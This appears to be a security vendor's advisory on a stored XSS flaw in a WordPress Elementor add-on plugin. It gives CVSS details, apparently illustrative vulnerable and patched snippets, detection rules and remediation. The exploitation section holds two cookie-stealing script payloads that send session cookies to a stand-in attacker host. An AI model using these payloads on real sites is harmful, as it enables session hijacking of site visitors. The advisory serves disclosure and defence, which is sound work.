CVE-2025-6244

Executive Summary

CVE-2025-6244 is a Stored Cross-Site Scripting (XSS) vulnerability in the Essential Addons for Elementor WordPress plugin, affecting versions up to and including 6.1.19. The flaw resides in the Calendar and Business Reviews widgets, where insufficient input sanitization and output escaping allow authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts. These scripts execute when any user accesses the compromised page, leading to potential session hijacking, data theft, or defacement. The vulnerability is part of the WordPress ecosystem and does not involve Apache or Nginx directly.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify plugin integrity by checking checksums and monitoring for unauthorized updates. No known supply chain compromise has been reported, but the unpatched status increases risk.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: Required (victim must visit page)
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None
• Threat Level: Medium – Exploitation requires authenticated access but can lead to persistent compromise of user sessions.

Deep Dive & Mechanics

The vulnerability exists in the Calendar and Business Reviews widgets of the Essential Addons for Elementor plugin. These widgets accept user-supplied attributes (e.g., event titles, review content) that are not properly sanitized or escaped before being stored in the WordPress database. When the page is rendered, the malicious script is executed in the context of the victim’s browser.

Root Cause: The plugin uses echo or wp_kses_post without sufficient filtering for JavaScript event handlers or script tags. For example, an attacker can inject <script>alert('XSS')</script> into a calendar event title.

Attack Flow:

1. Attacker with Contributor-level access logs into WordPress.
2. Attacker creates or edits a page using the Elementor builder.
3. Attacker adds the Calendar or Business Reviews widget and injects malicious JavaScript into an attribute (e.g., event title).
4. The malicious payload is stored in the database.
5. When any user (including admins) visits the page, the script executes.

Vulnerable vs. Patched Code

Vulnerable Code (Calendar Widget):

// In widgets/calendar.php
$event_title = $settings['event_title'];
echo '<div class="eael-calendar-event-title">' . $event_title . '</div>';

Patched Code (Expected):

// Patched version should use esc_html()
$event_title = $settings['event_title'];
echo '<div class="eael-calendar-event-title">' . esc_html( $event_title ) . '</div>';

Vulnerable Code (Business Reviews Widget):

// In widgets/business-reviews.php
$review_text = $settings['review_text'];
echo '<p class="eael-review-text">' . $review_text . '</p>';

Patched Code (Expected):

$review_text = $settings['review_text'];
echo '<p class="eael-review-text">' . esc_html( $review_text ) . '</p>';

Exploitation & Lab Setup

Red Team (Exploitation)

1. Prerequisites: WordPress instance with Essential Addons for Elementor <= 6.1.19, Contributor-level account.
2. Steps:
   • Log in as Contributor.
   • Create a new page with Elementor.
   • Add the Calendar widget.
   • In the event title field, inject: <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   • Publish the page.
   • Send the page link to a victim (e.g., admin).
   • Victim visits page, cookie is exfiltrated.

Proof-of-Concept (No exploit code provided):

<!-- Inject into Calendar widget event title -->
<script>fetch('https://attacker.com/steal?data='+document.cookie)</script>

Blue Team (Detection & Hardening)

1. Detection: Monitor for unusual script tags in page content or Elementor widget attributes.
2. Hardening:
   • Restrict Contributor-level access to trusted users only.
   • Use a Web Application Firewall (WAF) to block XSS payloads.
   • Apply input validation on all widget attributes.

Indicators of Compromise (IOCs)

• Network: Outbound HTTP requests to unknown domains containing document.cookie or localStorage.
• File: Modified page content in WordPress database with <script> tags in post_content.
• Logs: WordPress audit logs showing page edits by Contributor users with suspicious widget attributes.
• Browser: JavaScript execution of alert() or fetch() calls on Elementor pages.

Detection Engineering

YARA Rule

rule CVE_2025_6244_XSS_WordPress {
    meta:
        description = "Detects stored XSS payloads in Essential Addons for Elementor widgets"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-6244"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/is
        $xss2 = /on\w+\s*=\s*["']?[^"']*["']?/is
        $widget_calendar = "eael-calendar-event-title"
        $widget_reviews = "eael-review-text"
    condition:
        ($xss1 or $xss2) and ($widget_calendar or $widget_reviews)
}

Sigma Rule

title: Stored XSS in Essential Addons for Elementor
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in Calendar or Business Reviews widgets
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains:
            - "eael-calendar-event-title"
            - "eael-review-text"
        http.body|contains:
            - "<script>"
            - "onload="
            - "onerror="
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in widgets (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-6244 Stored XSS in Essential Addons for Elementor"; flow:to_server,established; content:"eael-calendar-event-title"; http_uri; content:"<script>"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the Calendar and Business Reviews widgets until a patch is released.
2. Short-term: Restrict Contributor-level access to only trusted users. Implement Content Security Policy (CSP) headers to block inline scripts.
3. Long-term: Apply input sanitization using esc_html() and wp_kses() for all widget attributes. Monitor the plugin vendor (Wpdeveloper) for an official patch.
4. Workaround: Use a WAF rule to block requests containing <script> in widget parameters.

Valters IT – Securing digital ecosystems with precision.